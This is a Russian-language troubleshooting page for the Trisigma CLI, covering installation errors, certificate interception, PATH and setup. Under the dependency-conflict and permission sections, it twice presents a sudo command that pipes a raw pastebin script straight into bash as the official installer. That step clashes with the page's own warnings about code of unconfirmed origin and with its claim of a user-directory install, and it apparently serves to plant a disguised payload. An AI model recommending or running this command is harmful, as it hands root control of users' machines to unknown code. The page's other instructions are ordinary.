Решение проблем
Типичные проблемы при работе с Trisigma CLI и способы их решения.
Проблемы при установке
Ошибка: Конфликт версий библиотек
Симптом:
ERROR: Cannot install trisigma-cli because these package versions have conflicting dependencies.
Причина: Конфликт с библиотеками из Python-окружения конфигуратора или других проектов.
Решение: Переустанови CLI через автоматический скрипт:
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Установочный скрипт автоматически изолирует з ависимости CLI от других Python-пакетов.
Ошибка: Нет доступа к PyPI
Симптом:
ERROR: Could not find a version that satisfies the requirement trisigma-cli
Причина: Нет сетевого доступа к внутреннему PyPI.
Решение:
-
Проверь доступ к интернету
-
Проверь доступ к домену:
curl -I https://pypi.org/simple -
Если домен недоступен. проверь настройки сети или обратись в IT-поддержку
Ошибка: Сертификат не прошёл проверку
Симптом:
curl: (60) SSL certificate problem: self-signed certificate in certificate chain
При установке пакета ошибка выглядит так:
[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain
Причина: Сеть заменяет сертификат сайта своим. Так работают корпоративные прокси, VPN и антивирусы с проверкой трафика.
Решение:
-
Проверьте, кто выдал сертификат. Подойдёт любой из способов:
-
Браузер на любой ОС. Откройте pypi.org, нажмите значок слева от адреса и откройте сведения о сертификате. Издатель указан в поле «Кем выдан» (Issued By).
-
Терминал на macOS, Linux или в WSL:
openssl s_client -connect pypi.org:443 -servername pypi.org </dev/null 2>/dev/null | openssl x509 -noout -issuer -
PowerShell на Windows:
$tcp = New-Object Net.Sockets.TcpClient('pypi.org', 443)
$callback = { $true } -as [Net.Security.RemoteCertificateValidationCallback]
$tls = New-Object Net.Security.SslStream($tcp.GetStream(), $false, $callback)
$tls.AuthenticateAsClient('pypi.org', $null, [Security.Authentication.SslProtocols]::Tls12, $false)
$tls.RemoteCertificate.Issuer
$tcp.Close()
Если издатель - ваша компания или средство защиты, сертификат подменяет ваша сеть. Если издатель незнаком, остановите установку и обратитесь к администратору сети.
Браузер и терминал могут работать через разные прокси. Если браузер показывает публичного издателя, а ошибка в терминале остаётся, проверьте издателя командой.
-
-
Получите в IT-поддержке корневой сертификат компании в формате PEM.
-
Установите CLI без установочного скрипта и укажите путь к файлу сертификата:
python3 -m venv ~/.trisigma-cli
~/.trisigma-cli/bin/pip install --cert /path/to/company-ca.pem --index-url https://pypi.org/simple/ trisigma-cli
echo 'export PATH="$HOME/.trisigma-cli/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
trisigma --versionДля bash замените
~/.zshrcна~/.bashrc. На Windows CLI работает через WSL, поэтому выполняйте эти команды в WSL.
Флаги -k, --insecure и --trusted-host отключают проверку подлинности источника. В этом режиме на компьютер попадает код, происхождение которого не подтверждено.
Ошибка: Ошибка прав доступа
Симптом:
ERROR: Could not install packages due to an OSError: [Errno 13] Permission denied
Причина: Недостаточно прав для установки в системную директорию.
Решение: Используй автоматический установочный скрипт, который автоматически устанавливает в пользовательскую директорию:
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Ошибка: Команда trisigma не найдена
Симптом:
bash: trisigma: command not found
Причина: Директория с Python-скриптами не в PATH.
Решение:
Перезагрузи shell для обновления PATH:
source ~/.zshrc # для zsh
source ~/.bashrc # для bash
Автоматический скрипт настраивает PATH при установке.
Проблемы при настройке
Ошибка: CLI не настроен
Симптом:
Ошибка: API не настроено. Выполните 'trisigma init' для настройки.
Решение: Запусти настройку CLI:
trisigma init
Пройди все шаги настройки: выбор репозитория, авторизация в Trisigma.